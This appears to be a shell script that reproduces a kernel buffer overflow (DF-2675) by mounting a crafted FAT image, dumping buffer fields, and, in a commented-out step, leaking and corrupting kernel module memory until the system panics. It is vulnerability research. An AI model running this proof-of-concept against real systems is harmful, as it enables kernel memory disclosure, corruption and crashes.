#!/bin/sh
# DF-2675 run: full reproduction on the stock kernel.
# Prereq: build.sh, tools + fat64k.img in /root on the guest (root ssh).
set -e
cd /root
vnconfig -c vn0 /root/fat64k.img
mkdir -p /mnt
mount_msdos /dev/vn0 /mnt
# 1) create two 17-page buffers with two directory reads
ls /mnt/D00 > /dev/null
/root/pindir 5 /mnt/D13 > /dev/null
# 2) dump them (expect: OVRBUF ... npages=17 kvasize=65536 loff=0x1800/0xd1800)
/root/ovrdump 20000
# 3) decode one live creation (expect off 176 loffset, off 996/1004 =65536,
#    off 1016 b_data=kvabase|0x800, off 1056 npages=0x11)
/root/findfield "/root/pindir 5 /mnt/D14" | grep -E "record|off +1(76|016|056):|off +(996|1004):"
# 4) ladder: place neighbors and observe the overflow pages map foreign
#    (.ko ELF) content, then leak via readdir and corrupt via touch+sync
#    (see VERDICT.md; the corruption step panics the box)
# sh /root/ladder.sh